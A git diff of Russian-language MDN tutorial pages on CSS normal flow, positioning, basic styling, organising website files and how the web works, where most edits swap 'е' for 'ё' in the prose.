
         - +
        Цель:Объяснить как браузеры размещают элементы на веб-странице по умолчанию, т.е. прежде, чем мы начнем вносить какие-либо изменения.Объяснить как браузеры размещают элементы на веб-странице по умолчанию, т.е. прежде, чем мы начнём вносить какие-либо изменения.
        -

        Как говорилось ранее, элементы на веб-странице располагаются в нормальном потоке, если вы не применили к ним ни единого CSS для изменения их поведения. И, как мы уже выяснили, вы можете изменить поведение элементов либо путем изменения их положения в этом нормальном потоке, либо удалением этих элементов из этого потока. Хорошо структурированный документ, читабельный в нормальном потоке является лучшим путём начала любой веб-страницы. Это гарантирует, что ваш контент будет читабельным, даже если пользователи используют очень ограниченный браузер или устройство для чтения, которое считывает содержимое страницы. Кроме того, поскольку нормальный поток предназначен для создания читабельного документа, имейте в виду, что вы не сражаетесь с первоначальным видом документа, а работаете с ним.

        +

        Как говорилось ранее, элементы на веб-странице располагаются в нормальном потоке, если вы не применили к ним ни единого CSS для изменения их поведения. И, как мы уже выяснили, вы можете изменить поведение элементов либо путём изменения их положения в этом нормальном потоке, либо удалением этих элементов из этого потока. Хорошо структурированный документ, читабельный в нормальном потоке является лучшим путём начала любой веб-страницы. Это гарантирует, что ваш контент будет читабельным, даже если пользователи используют очень ограниченный браузер или устройство для чтения, которое считывает содержимое страницы. Кроме того, поскольку нормальный поток предназначен для создания читабельного документа, имейте в виду, что вы не сражаетесь с первоначальным видом документа, а работаете с ним.

        Прежде чем углубиться в разные способы компоновки, стоит пересмотреть некоторые из вещей, которые вы изучили в предыдущих модулях в отношении нормального потока документов. 

        @@ -36,11 +36,11 @@ original_slug: Learn/CSS/CSS_layout/Нормальный_поток

        По умолчанию содержимое элемента уровня блока составляет 100% от ширины его родительского элемента и столь же высок, как и его содержимое. Встроенные элементы высоки и широки, как их содержимое. Вы не можете установить ширину или высоту на встроенные элементы — они просто находятся внутри содержимого элементов блочного уровня. Если вы хотите контролировать размер встроенного элемента вам нужно настроить его так, чтобы он себя вёл как элемент блочного уровня при помощи display: block; (или даже,  display: inline-block;, который смешивает характеристики обоих.).

        -

        Это объясняет отдельные элементы, но как насчет того, как элементы взаимодействуют друг с другом? Нормальный поток макета (упомянутый в статье введения макета) - это система, посредством которой элементы размещаются внутри окна просмотра браузера. По умолчанию элементы уровня блока выкладываются в направлении, что блокирует отображение в режиме записи документа - каждый из них будет отображаться в новой строке ниже последней строки, и они будут разделены любым полем, установленным на них. Поэтому на английском языке или на любом другом, в котором режим писания горизонтальный, сверху вниз, элементы уровня блока располагаются вертикально.

        +

        Это объясняет отдельные элементы, но как насчёт того, как элементы взаимодействуют друг с другом? Нормальный поток макета (упомянутый в статье введения макета) - это система, посредством которой элементы размещаются внутри окна просмотра браузера. По умолчанию элементы уровня блока выкладываются в направлении, что блокирует отображение в режиме записи документа - каждый из них будет отображаться в новой строке ниже последней строки, и они будут разделены любым полем, установленным на них. Поэтому на английском языке или на любом другом, в котором режим писания горизонтальный, сверху вниз, элементы уровня блока располагаются вертикально.

        -

        Встроенные элементы ведут себя по-другому — они не появляются на новых строках; они располагаются на той же строке, что и другие и любой смежной или завернутый текст располагается на всю ширину внутри элемента уровня родительского блока, до тех пор, пока не закончится пространство. Если пространства нет, тогда текст и/или элементы перейдут на новую строку (не с абзаца).

        +

        Встроенные элементы ведут себя по-другому — они не появляются на новых строках; они располагаются на той же строке, что и другие и любой смежной или завёрнутый текст располагается на всю ширину внутри элемента уровня родительского блока, до тех пор, пока не закончится пространство. Если пространства нет, тогда текст и/или элементы перейдут на новую строку (не с абзаца).

        -

        Если два смежных элемента имеют заданные для них поля/внешние отступы (margin) и эти поля соприкасаются друг с другом, большее из них остается, а меньшее исчезает — это называется схлопывание полей (margin collapsing), и мы рассматривали это ранее.

        +

        Если два смежных элемента имеют заданные для них поля/внешние отступы (margin) и эти поля соприкасаются друг с другом, большее из них остаётся, а меньшее исчезает — это называется схлопывание полей (margin collapsing), и мы рассматривали это ранее.

        Давайте посмотрим на пример, который объясняет всё из того, что мы рассмотрели в данной статье:

        diff --git a/files/ru/learn/css/css_layout/positioning/index.html b/files/ru/learn/css/css_layout/positioning/index.html index 59669413f4..da8a00b79d 100644 --- a/files/ru/learn/css/css_layout/positioning/index.html +++ b/files/ru/learn/css/css_layout/positioning/index.html @@ -47,7 +47,7 @@ translation_of: Learn/CSS/CSS_layout/Positioning background: yellow; } -

        И если вы сейчас сохраните и обновите, то вы не увидите никаких изменений, не считая обновленного цвета фона 2-го параграфа. Это нормально, как мы и говорили ранее, статическое позиционирование является поведением по умолчанию!

        +

        И если вы сейчас сохраните и обновите, то вы не увидите никаких изменений, не считая обновлённого цвета фона 2-го параграфа. Это нормально, как мы и говорили ранее, статическое позиционирование является поведением по умолчанию!

        Примечание: Вы можете посмотреть живой пример на данном этапе на 1_static-positioning.html (см. исходный код).

        @@ -55,7 +55,7 @@ translation_of: Learn/CSS/CSS_layout/Positioning

        Относительное позиционирование

        -

        Относительное позиционирование первый тип позиции, который мы рассмотрим. Оно очень похоже на статическое позиционирование, за исключением того что вы можете модифицировать окончательное положение позиционируемого объекта занявшего свое место в макете нормального потока, в том числе заставлять его перекрывать другие элементы на странице. Двигайтесь далее и обновите объявление position в вашем коде:

        +

        Относительное позиционирование первый тип позиции, который мы рассмотрим. Оно очень похоже на статическое позиционирование, за исключением того что вы можете модифицировать окончательное положение позиционируемого объекта занявшего своё место в макете нормального потока, в том числе заставлять его перекрывать другие элементы на странице. Двигайтесь далее и обновите объявление position в вашем коде:

        position: relative;
        @@ -120,7 +120,7 @@ span {

        Абсолютное позиционирование

        -

        Абсолютное позиционирование дает совершенно другие результаты. Давайте попробуем изменить объявление позиции в вашем коде как показано ниже:

        +

        Абсолютное позиционирование даёт совершенно другие результаты. Давайте попробуем изменить объявление позиции в вашем коде как показано ниже:

        position: absolute;
        @@ -164,16 +164,16 @@ span {

        {{ EmbedLiveSample('Абсолютное_позиционирование', '100%', 420) }}

        -

        В первую очередь обратите внимание на то, что интервал там, где должен быть позиционируемый элемент в потоке документа теперь отсутствует — первый и третий элементы сблизились так будто, он больше не существует! Ну, в каком-то смысле это правда. Абсолютно позиционированный элемент больше не существует в нормальном потоке макета документа. Вместо этого он располагается на своем собственном слое отдельно от всего остального. Это очень полезно: это значит, что мы можем создавать изолированные функции пользовательского интерфейса, которые не влияют на макет других элементов страницы. Например, всплывающие информационные блоки и меню управления; опрокидывающиеся панели; функции пользовательского интерфейса, которые можно перетаскивать в любом месте страницы; и так далее...

        +

        В первую очередь обратите внимание на то, что интервал там, где должен быть позиционируемый элемент в потоке документа теперь отсутствует — первый и третий элементы сблизились так будто, он больше не существует! Ну, в каком-то смысле это правда. Абсолютно позиционированный элемент больше не существует в нормальном потоке макета документа. Вместо этого он располагается на своём собственном слое отдельно от всего остального. Это очень полезно: это значит, что мы можем создавать изолированные функции пользовательского интерфейса, которые не влияют на макет других элементов страницы. Например, всплывающие информационные блоки и меню управления; опрокидывающиеся панели; функции пользовательского интерфейса, которые можно перетаскивать в любом месте страницы; и так далее...

        Во-вторых, обратите внимание, что позиция элемента изменилась — это потому, что {{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}}, и {{cssxref("right")}} ведут себя по-другому с абсолютным позиционированием. Вместо того, чтобы позиционировать элемент на основе его относительного положения в обычном потоке макета документа, они определяют расстояние, на котором элемент должен находиться от каждой из сторон содержащего элемента. Поэтому в этом случае мы говорим, что абсолютно позиционированный элемент должен располагаться в 30px от верха "содержащего элемента" и 30px от левого края (В этом случае "содержащий элемент" является исходным содержащим блоком. См. раздел ниже для дополнительной информации).

        -

        Примечание: Вы можете использовать {{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}}, и {{cssxref("right")}} для изменения размера элемента если вам надо. Попробуйте установить top: 0; bottom: 0; left: 0; right: 0; и margin: 0; для вашего позиционируемого элемента и посмотрите, что произойдет! Потом снова все верните...

        +

        Примечание: Вы можете использовать {{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}}, и {{cssxref("right")}} для изменения размера элемента если вам надо. Попробуйте установить top: 0; bottom: 0; left: 0; right: 0; и margin: 0; для вашего позиционируемого элемента и посмотрите, что произойдёт! Потом снова все верните...

        -

        Примечание: Да, margin-ы все еще влияют на позиционируемый элемент. Однако, схлопывания margin не происходит.

        +

        Примечание: Да, margin-ы все ещё влияют на позиционируемый элемент. Однако, схлопывания margin не происходит.

        @@ -186,7 +186,7 @@ span {

        Если никакие из элементов предков не имеют конкретно заданного свойства позиции, то по умолчанию все элементы предков будут иметь статическую позицию. В результате этого абсолютно позиционируемый элемент будет содержаться в исходным содержащем блоке. Исходный содержащий блок имеет размеры области просмотра, а также является блоком, содержащим элемент {{htmlelement("html")}}. Проще говоря, абсолютно позиционируемый элемент будет отображаться за пределами элемента {{htmlelement("html")}} и будет расположен относительно исходного окна просмотра.

        -

        Позиционируемый элемент вложен в {{htmlelement ("body")}} в исходном HTML, но в конечном макете он расположен на 30px от верхнего и левого края страницы. Мы можем изменить контекст позиционирования — относительно какого элемента позиционируется позиционируемый элемент. Это делается путем установки позиционирования на одном из предков элемента — на один из элементов, внутри которого он вложен (вы не можете позиционировать его относительно элемента, внутри которого он НЕ вложен). Чтобы продемонстрировать это, добавьте следующее объявление в правило вашего body:

        +

        Позиционируемый элемент вложен в {{htmlelement ("body")}} в исходном HTML, но в конечном макете он расположен на 30px от верхнего и левого края страницы. Мы можем изменить контекст позиционирования — относительно какого элемента позиционируется позиционируемый элемент. Это делается путём установки позиционирования на одном из предков элемента — на один из элементов, внутри которого он вложен (вы не можете позиционировать его относительно элемента, внутри которого он НЕ вложен). Чтобы продемонстрировать это, добавьте следующее объявление в правило вашего body:

        position: relative;
        @@ -239,7 +239,7 @@ span {

        Введение в z-index

        -

        Все это абсолютное позиционирование — хорошее развлечение, но кое-что чего мы еще не рассмотрели — когда элементы начинают перекрываться, что определяет который из элементов будет появляться поверх другого элемента? В примере, который мы видели все это время, у нас имеется только один позиционируемый элемент в контексте позиционирования, и он появляется сверху поскольку позиционируемые элементы "побеждают" не позиционированные элементы. Что же насчет того, когда мы имеем более одного?

        +

        Все это абсолютное позиционирование — хорошее развлечение, но кое-что чего мы ещё не рассмотрели — когда элементы начинают перекрываться, что определяет который из элементов будет появляться поверх другого элемента? В примере, который мы видели все это время, у нас имеется только один позиционируемый элемент в контексте позиционирования, и он появляется сверху поскольку позиционируемые элементы "побеждают" не позиционированные элементы. Что же насчёт того, когда мы имеем более одного?

        Попробуйте добавить следующий CSS, чтобы сделать первый параграф так же абсолютно позиционированным:

        @@ -250,11 +250,11 @@ span { right: 30px; } -

        На этом этапе вы увидите, что первый параграф окрашенный в лаймовый изъят из потока документа и помещен чуточку выше того места, где он был исходно. А также он расположен под оригинальным параграфом .positioned, где они оба перекрываются. Это потому что параграф .positioned является вторым параграфом по порядку в источнике и позже позиционируемые элементы в порядке источника выигрывают над ранее позиционируемыми элементами в порядке источника.

        +

        На этом этапе вы увидите, что первый параграф окрашенный в лаймовый изъят из потока документа и помещён чуточку выше того места, где он был исходно. А также он расположен под оригинальным параграфом .positioned, где они оба перекрываются. Это потому что параграф .positioned является вторым параграфом по порядку в источнике и позже позиционируемые элементы в порядке источника выигрывают над ранее позиционируемыми элементами в порядке источника.

        Можете ли вы изменить порядок наложения? Да, можете, используя свойство {{cssxref("z-index")}}. "z-index" это ссылка к z-оси. Вы можете вспомнить из предыдущих этапов в этом курсе, где мы обсуждали использование горизонтальных (x-ось) и вертикальных (y-оси) координат веб-страницами для определения позиции для таких вещей, как фоновые изображения и смещение теней. (0,0) находится наверху слева страницы (или элемента) и оси x- и y- направляются направо и вниз страницы (во всяком случае, для языков, направленных слева на право).

        -

        У веб-страниц также имеется z-ось: воображаемая линия, которая направляется от поверхности вашего экрана к вашему лицу (или что еще вам нравится иметь перед экраном). Значения {{cssxref("z-index")}} влияют на то где позиционируемый элемент располагается на этой оси; положительные значения перемещают их выше по наложению, а отрицательные значения перемещают их ниже по наложению. По умолчанию все позиционируемые элементы имеют z-index auto, что фактически равно 0.

        +

        У веб-страниц также имеется z-ось: воображаемая линия, которая направляется от поверхности вашего экрана к вашему лицу (или что ещё вам нравится иметь перед экраном). Значения {{cssxref("z-index")}} влияют на то где позиционируемый элемент располагается на этой оси; положительные значения перемещают их выше по наложению, а отрицательные значения перемещают их ниже по наложению. По умолчанию все позиционируемые элементы имеют z-index auto, что фактически равно 0.

        Для того чтобы изменить порядок наложения, попробуйте объявить для вашего p:nth-of-type(1) правила:

        @@ -341,7 +341,7 @@ p:nth-of-type(1) { padding: 10px; } -

        top: 0; необходим чтобы приклеить его к верху экрана. мы дали заголовку ту же ширину что и колонкам с контентом и затем даем ему белый фон и немного padding и margin, чтобы контент не был видимым под ним.

        +

        top: 0; необходим чтобы приклеить его к верху экрана. мы дали заголовку ту же ширину что и колонкам с контентом и затем даём ему белый фон и немного padding и margin, чтобы контент не был видимым под ним.

        Если вы сохраните и обновите сейчас, вы увидите маленький забавный эффект, при котором заголовок останется неизменным, а содержимое будет прокручиваться вверх и исчезать под ним. Но мы можем улучшить это — в данный момент некоторый контент начинается под заголовком. Это из-за того, что позиционируемый заголовок больше не появляется в потоке документа, поэтому остальное содержимое поднимается наверх. Нам надо сдвинуть все это немного вниз; мы можем сделать это установив немного верхнего margin к первому параграфу. Добавьте его сейчас:

        @@ -401,7 +401,7 @@ p:nth-of-type(1) {

        position: sticky

        -

        Доступно другое значение позиции называемое position: sticky, которое несколько новее чем другие. По сути, это гибрид относительной и фиксированной позиции, который позволяет позиционируемому элементу вести себя как будто он относительно позиционирован, до тех пор пока он не будет прокручен до определенной пороговой точки (например, 10px от вершины окна просмотра), после чего он становится фиксированным.  Это можно использовать, например, чтобы заставить панель навигации прокручиваться вместе со страницей до определенной точки, а затем задерживать в верхней части страницы.

        +

        Доступно другое значение позиции называемое position: sticky, которое несколько новее чем другие. По сути, это гибрид относительной и фиксированной позиции, который позволяет позиционируемому элементу вести себя как будто он относительно позиционирован, до тех пор пока он не будет прокручен до определённой пороговой точки (например, 10px от вершины окна просмотра), после чего он становится фиксированным.  Это можно использовать, например, чтобы заставить панель навигации прокручиваться вместе со страницей до определённой точки, а затем задерживать в верхней части страницы.

      -

      Итак, давайте начнем и добавим больше CSS на нашей странице! Продолжайте добавлять эти новые правила, расположенные в нижней части страницы, и не бойтесь экспериментировать с изменением значений, чтобы увидеть, как это работает.

      +

      Итак, давайте начнём и добавим больше CSS на нашей странице! Продолжайте добавлять эти новые правила, расположенные в нижней части страницы, и не бойтесь экспериментировать с изменением значений, чтобы увидеть, как это работает.

      Изменение цвета страницы

      @@ -218,14 +218,14 @@ p, li { border: 5px solid black; } -

      Теперь для {{htmlelement("body")}} элемента. Здесь есть немало деклараций, так что давайте пройдем через них всех по одному:

      +

      Теперь для {{htmlelement("body")}} элемента. Здесь есть немало деклараций, так что давайте пройдём через них всех по одному:

      • width: 600px; — заставляет тело быть всегда 600 пикселей в ширину.
      • margin: 0 auto; — когда вы устанавливаете два значения для таких свойств как margin или padding, первое значение элемента влияет на верхнюю и нижнюю сторону (делает их 0 в данном случае), и второе значение на левую и правую сторону (здесь, auto является особым значением, которое делит доступное пространство по горизонтали поровну слева и справа). Вы также можете использовать один, три или четыре значения, как описано здесь.
      • background-color: #FF9500; — как и прежде, устанавливает цвет фона элемента. Я использовал красновато-оранжевый для тела, в отличие от темно-синего цвета для {{htmlelement("html")}} элемента, но не стесняйтесь и экспериментируйте.
      • padding: 0 20px 20px 20px; — у нас есть четыре значения, установленные для padding, чтобы сделать немного пространства вокруг нашего контента. В этот раз мы не устанавливаем padding на верхней части тела, но делаем 20 пикселей слева, снизу и справа. Значения устанавливаются сверху, справа, снизу, слева, в таком порядке.
        • -
      • border: 5px solid black; — просто устанавливает сплошную черную рамку шириной 5 пикселей со всех сторон тела.
        • +
      • border: 5px solid black; — просто устанавливает сплошную чёрную рамку шириной 5 пикселей со всех сторон тела.

      Позиционирование и стилизация нашего заголовка главной страницы

      @@ -244,10 +244,10 @@ p, li {

      Здесь, мы использовали одно довольно интересное свойство - это text-shadow, которое применяет тень к текстовому контенту элемента. Оно имеет следующие четыре значения:

        -
      • Первое значение пикселей задает горизонтальное смещение тени от текста — как далеко она движется поперек: отрицательное значение должно двигать ее влево.
        • -
      • Второе значение пикселей задает вертикальное смещение тени от текста — как далеко она движется вниз, в этом примере: отрицательное значение должно переместить ее вверх.
        • -
      • Третье значение пикселей задает радиус размытия тени — большее значение будет означать более размытую тень.
        • -
      • Четвертое значение задает основной цвет тени.
        • +
      • Первое значение пикселей задаёт горизонтальное смещение тени от текста — как далеко она движется поперёк: отрицательное значение должно двигать её влево.
        • +
      • Второе значение пикселей задаёт вертикальное смещение тени от текста — как далеко она движется вниз, в этом примере: отрицательное значение должно переместить её вверх.
        • +
      • Третье значение пикселей задаёт радиус размытия тени — большее значение будет означать более размытую тень.
        • +
      • Четвёртое значение задаёт основной цвет тени.

      И вновь попробуйте поэкспериментировать с различными значениями, чтобы посмотреть, что вы можете придумать.

      @@ -259,14 +259,14 @@ p, li { margin: 0 auto; } -

      В заключение, мы отцентрируем изображение, чтобы оно лучше выглядело. Мы можем использовать margin: 0 auto уловку снова, как мы это делали раньше для body, но мы также должны сделать кое-что еще. Элемент {{HTMLElement("body")}} является блочным, это значит, что он занимает место на странице и может иметь margin и другие значения отступов, применяемых к нему. Изображения, наоборот, являются строчными элементами, то есть они этого не могут. Таким образом, чтобы применить margin к изображению, мы должны дать изображению блочное поведение с помощью display: block;.

      +

      В заключение, мы отцентрируем изображение, чтобы оно лучше выглядело. Мы можем использовать margin: 0 auto уловку снова, как мы это делали раньше для body, но мы также должны сделать кое-что ещё. Элемент {{HTMLElement("body")}} является блочным, это значит, что он занимает место на странице и может иметь margin и другие значения отступов, применяемых к нему. Изображения, наоборот, являются строчными элементами, то есть они этого не могут. Таким образом, чтобы применить margin к изображению, мы должны дать изображению блочное поведение с помощью display: block;.

      -

      Примечание: Приведенные выше инструкции предполагают, что вы используете изображение меньшей ширины, чем заданная для {{HTMLElement("body")}} (600 пикселей). Если ваше изображение больше, тогда оно выйдет за границы {{HTMLElement("body")}} и займет пространство страницы. Чтобы исправить это, вы можете 1) уменьши ширину изображения используя графический редактор, или 2) изменить размер изображения используя CSS путем установки свойства {{cssxref("width")}} для <img> элемента меньшего значения (например 400 px;).

      +

      Примечание: Приведённые выше инструкции предполагают, что вы используете изображение меньшей ширины, чем заданная для {{HTMLElement("body")}} (600 пикселей). Если ваше изображение больше, тогда оно выйдет за границы {{HTMLElement("body")}} и займёт пространство страницы. Чтобы исправить это, вы можете 1) уменьши ширину изображения используя графический редактор, или 2) изменить размер изображения используя CSS путём установки свойства {{cssxref("width")}} для <img> элемента меньшего значения (например 400 px;).

      -

      Примечание: Не стоит беспокоиться, если вы еще не понимаете display: block; и различия между блочным/строчным. Вы поймете, когда будете изучать CSS более подробно. Вы можете узнать больше о различных доступных значениях display на нашей странице о свойстве display.

      +

      Примечание: Не стоит беспокоиться, если вы ещё не понимаете display: block; и различия между блочным/строчным. Вы поймёте, когда будете изучать CSS более подробно. Вы можете узнать больше о различных доступных значениях display на нашей странице о свойстве display.

      Заключение

      diff --git a/files/ru/learn/getting_started_with_the_web/dealing_with_files/index.html b/files/ru/learn/getting_started_with_the_web/dealing_with_files/index.html index 1976fc08ea..1efcf60a76 100644 --- a/files/ru/learn/getting_started_with_the_web/dealing_with_files/index.html +++ b/files/ru/learn/getting_started_with_the_web/dealing_with_files/index.html @@ -20,16 +20,16 @@ translation_of: Learn/Getting_started_with_the_web/Dealing_with_files
      {{PreviousMenuNext("Learn/Getting_started_with_the_web/What_will_your_website_look_like", "Learn/Getting_started_with_the_web/HTML_basics", "Learn/Getting_started_with_the_web")}}
      -

      Веб-сайт состоит из множества файлов: текстового контента, кода, стилей, медиа-контента, и так далее. Когда вы создаете веб-сайт, вы должны собрать эти файлы в рациональную структуру на вашем локальном компьютере, убедитесь, что они могут общаться друг с другом, и весь ваш контент выглядит правильно, прежде чем вы, в конечном итоге загрузите их на сервер. В статье Работа с файлами обсуждаются некоторые вопросы, о которых вам следует знать, чтобы вы могли рационально настроить файловую структуру для своего веб-сайта.

      +

      Веб-сайт состоит из множества файлов: текстового контента, кода, стилей, медиа-контента, и так далее. Когда вы создаёте веб-сайт, вы должны собрать эти файлы в рациональную структуру на вашем локальном компьютере, убедитесь, что они могут общаться друг с другом, и весь ваш контент выглядит правильно, прежде чем вы, в конечном итоге загрузите их на сервер. В статье Работа с файлами обсуждаются некоторые вопросы, о которых вам следует знать, чтобы вы могли рационально настроить файловую структуру для своего веб-сайта.

      Где ваш веб-сайт должен располагаться на вашем компьютере?

      -

      Когда вы работаете на веб-сайте локально на вашем компьютере, вы должны держать все связанные файлы в одной папке, которая отражает файловую структуру опубликованного веб-сайта на сервере. Эта папка может располагаться где угодно, но вы должны положить её туда, где вы сможете легко её найти, может быть, на ваш рабочий стол, в домашнюю папку или в корень вашего жесткого диска.

      +

      Когда вы работаете на веб-сайте локально на вашем компьютере, вы должны держать все связанные файлы в одной папке, которая отражает файловую структуру опубликованного веб-сайта на сервере. Эта папка может располагаться где угодно, но вы должны положить её туда, где вы сможете легко её найти, может быть, на ваш рабочий стол, в домашнюю папку или в корень вашего жёсткого диска.

      1. Выберите место для хранения проектов веб-сайта. Здесь, создайте новую папку с именем web-projects (или аналогичной). Это то место, где будут располагаться все ваши проекты сайтов.
        2. -
      2. Внутри этой первой папки, создайте другую папку для хранения вашего первого веб-сайта. Назовите ее test-site (или как-то более творчески).
        3. +
      3. Внутри этой первой папки, создайте другую папку для хранения вашего первого веб-сайта. Назовите её test-site (или как-то более творчески).

      Небольшое отступление о регистре и пробелах

      @@ -38,14 +38,14 @@ translation_of: Learn/Getting_started_with_the_web/Dealing_with_files
      1. Многие компьютеры, в частности веб-серверы, чувствительны к регистру. Так, например, если вы положили изображение на свой веб-сайт в test-site/MyImage.jpg, а затем в другом файле вы пытаетесь вызвать изображение как test-site/myimage.jpg, это может не сработать.
        2. -
      2. Браузеры, веб-серверы и языки программирования не обрабатывают пробелы последовательно. Например, если вы используете пробелы в имени файла, некоторые системы могут отнестись к имени файла как к двум именам файлов. Некоторые серверы заменяют пробелы в вашем имени файла на "%20" (символьный код для пробелов в URI), в результате чего все ваши ссылки будут сломаны. Лучше разделять слова дефисами, чем нижними подчеркиваниями: my-file.html лучше чем my_file.html.
        3. +
      3. Браузеры, веб-серверы и языки программирования не обрабатывают пробелы последовательно. Например, если вы используете пробелы в имени файла, некоторые системы могут отнестись к имени файла как к двум именам файлов. Некоторые серверы заменяют пробелы в вашем имени файла на "%20" (символьный код для пробелов в URI), в результате чего все ваши ссылки будут сломаны. Лучше разделять слова дефисами, чем нижними подчёркиваниями: my-file.html лучше чем my_file.html.
      -

      Говоря простым языком, вы должны использовать дефис для имен файлов. Поисковая система Google рассматривает дефис как разделитель слов, но не относится к подчеркиванию таким образом. По этим причинам, лучше всего приобрести привычку писать названия ваших папок и файлов в нижнем регистре без пробелов, разделяя слова дефисами, по крайней мере, пока вы не поймете, что вы делаете. Так в будущем вы столкнетесь с меньшим количеством проблем.

      +

      Говоря простым языком, вы должны использовать дефис для имён файлов. Поисковая система Google рассматривает дефис как разделитель слов, но не относится к подчёркиванию таким образом. По этим причинам, лучше всего приобрести привычку писать названия ваших папок и файлов в нижнем регистре без пробелов, разделяя слова дефисами, по крайней мере, пока вы не поймёте, что вы делаете. Так в будущем вы столкнётесь с меньшим количеством проблем.

      Какую структуру должен иметь ваш веб-сайт?

      -

      Далее, давайте взглянем на то, какую структуру должен иметь наш тестовый сайт. Наиболее распространенные вещи, присутствующие в любом проекте сайта, которые мы создаем: индексный файл HTML и папки, содержащие изображения, файлы стилей и файлы скриптов. Давайте создадим их сейчас:

      +

      Далее, давайте взглянем на то, какую структуру должен иметь наш тестовый сайт. Наиболее распространённые вещи, присутствующие в любом проекте сайта, которые мы создаём: индексный файл HTML и папки, содержащие изображения, файлы стилей и файлы скриптов. Давайте создадим их сейчас:

      1. index.html: Этот файл обычно содержит контент домашней страницы, то есть текст и изображения, которые люди видят, когда они впервые попадают на ваш сайт. Используя ваш текстовый редактор, создайте новый файл с именем index.html и сохраните его прямо внутри вашей папки test-site.
        2. @@ -55,7 +55,7 @@ translation_of: Learn/Getting_started_with_the_web/Dealing_with_files
      -

      Примечание: На компьютерах под управлением Windows у вас могут возникнуть проблемы с отображением имен файлов, поскольку у Windows есть опция Скрывать расширения для известных типов файлов, включенная по умолчанию. Обычно вы можете отключить ее, перейдя в проводник, выбрать вариант Свойства папки... и снять флажок Скрывать расширения для зарегистрированных типов файлов, затем щёлкнуть OK. Для получения более точной информации, охватывающей вашу версию Windows, вы можете произвести поиск в Интернете.

      +

      Примечание: На компьютерах под управлением Windows у вас могут возникнуть проблемы с отображением имён файлов, поскольку у Windows есть опция Скрывать расширения для известных типов файлов, включённая по умолчанию. Обычно вы можете отключить её, перейдя в проводник, выбрать вариант Свойства папки... и снять флажок Скрывать расширения для зарегистрированных типов файлов, затем щёлкнуть OK. Для получения более точной информации, охватывающей вашу версию Windows, вы можете произвести поиск в Интернете.

      Файловые пути

      diff --git a/files/ru/learn/getting_started_with_the_web/how_the_web_works/index.html b/files/ru/learn/getting_started_with_the_web/how_the_web_works/index.html index f3a8d0da2c..399bedd3dd 100644 --- a/files/ru/learn/getting_started_with_the_web/how_the_web_works/index.html +++ b/files/ru/learn/getting_started_with_the_web/how_the_web_works/index.html @@ -22,19 +22,19 @@ translation_of: Learn/Getting_started_with_the_web/How_the_Web_works
      {{PreviousMenu("Learn/Getting_started_with_the_web/Publishing_your_website", "Learn/Getting_started_with_the_web")}}
      -

      Как работает Веб даст упрощенное представление о том, что происходит при просмотре веб-страницы в браузере на вашем компьютере или телефоне.

      +

      Как работает Веб даст упрощённое представление о том, что происходит при просмотре веб-страницы в браузере на вашем компьютере или телефоне.

      -

      Эта теория не так важна для написания веб-кода в краткосрочной перспективе, но в скором времени вы действительно начнете извлекать выгоду из понимания того, что происходит в фоновом режиме.

      +

      Эта теория не так важна для написания веб-кода в краткосрочной перспективе, но в скором времени вы действительно начнёте извлекать выгоду из понимания того, что происходит в фоновом режиме.

      Клиенты и серверы

      -

      Компьютеры, подключенные к сети называются клиентами и серверами. Упрощенная схема того, как они взаимодействуют, может выглядеть следующим образом:

      +

      Компьютеры, подключённые к сети называются клиентами и серверами. Упрощённая схема того, как они взаимодействуют, может выглядеть следующим образом:

        -
      • Клиенты являются обычными пользователями, подключенными к Интернету посредством устройств (например, компьютер подключен к Wi-Fi, или ваш телефон подключен к мобильной сети) и программного обеспечения, доступного на этих устройствах (как правило, браузер, например, Firefox или Chrome).
        • +
      • Клиенты являются обычными пользователями, подключёнными к Интернету посредством устройств (например, компьютер подключён к Wi-Fi, или ваш телефон подключён к мобильной сети) и программного обеспечения, доступного на этих устройствах (как правило, браузер, например, Firefox или Chrome).
      • Серверы - это компьютеры, которые хранят веб-страницы, сайты или приложения. Когда клиентское устройство пытается получить доступ к веб-странице, копия страницы загружается с сервера на клиентский компьютер для отображения в браузере пользователя.
      @@ -51,7 +51,7 @@ translation_of: Learn/Getting_started_with_the_web/How_the_Web_works
      • Ваше Интернет-подключение: Позволяет отправлять и принимать данные по сети. Оно подобно улице между домом и магазином.
      • TCP/IP: Протокол Управления Передачей и Интернет Протокол являются коммуникационными протоколами, которые определяют, каким образом данные должны передаваться по сети. Они как транспортные средства, которые позволяют сделать заказ, пойти в магазин и купить ваши товары. В нашем примере, это как автомобиль или велосипед (или собственные ноги).
        • -
      • DNS: Система Доменных Имён напоминает записную книжку для веб-сайтов. Когда вы вводите веб-адрес в своем браузере, браузер обращается к DNS, чтобы найти реальный адрес веб-сайта, прежде чем он сможет его получить. Браузеру необходимо выяснить, на каком сервере живет сайт, поэтому он может отправлять HTTP-сообщения в нужное место (см. Ниже). Это похоже на поиск адреса магазина, чтобы вы могли попасть в него.
        • +
      • DNS: Система Доменных Имён напоминает записную книжку для веб-сайтов. Когда вы вводите веб-адрес в своём браузере, браузер обращается к DNS, чтобы найти реальный адрес веб-сайта, прежде чем он сможет его получить. Браузеру необходимо выяснить, на каком сервере живёт сайт, поэтому он может отправлять HTTP-сообщения в нужное место (см. Ниже). Это похоже на поиск адреса магазина, чтобы вы могли попасть в него.
      • HTTP: Протокол Передачи Гипертекста - это {{Glossary("Protocol", "протокол")}}, который определяет язык для клиентов и серверов, чтобы общаться друг с другом. Он, как язык, который вы используете, чтобы заказать ваш товар.
      • Файлы компонентов: сайт состоит из нескольких различных файлов, которые подобны различным отделам с товарами в магазине. Эти файлы бывают двух основных типов:
          @@ -66,9 +66,9 @@ translation_of: Learn/Getting_started_with_the_web/How_the_Web_works

          Когда вы вводите веб-адрес в свой браузер (для нашей аналогии - посещаете магазин):

            -
          1. Браузер обращается к DNS серверу и находит реальный адрес сервера, на котором "живет" сайт (Вы находите адрес магазина).
            2. +
          2. Браузер обращается к DNS серверу и находит реальный адрес сервера, на котором "живёт" сайт (Вы находите адрес магазина).
          3. Браузер посылает HTTP запрос к серверу, запрашивая его отправить копию сайта для клиента (Вы идёте в магазин и заказываете товар). Это сообщение и все остальные данные, передаваемые между клиентом и сервером, передаются по интернет-соединению с использованием протокола TCP/IP.
            4. -
          4. Если сервер одобряет запрос клиента, сервер отправляет клиенту статус "200 ОК", который означает: "Конечно, вы можете посмотреть на этот сайт! Вот он", а затем начинает отправку файлов сайта в браузер в виде небольших порций, называемых пакетными данными (магазин выдает вам ваш товар или вам привозят его домой).
            5. +
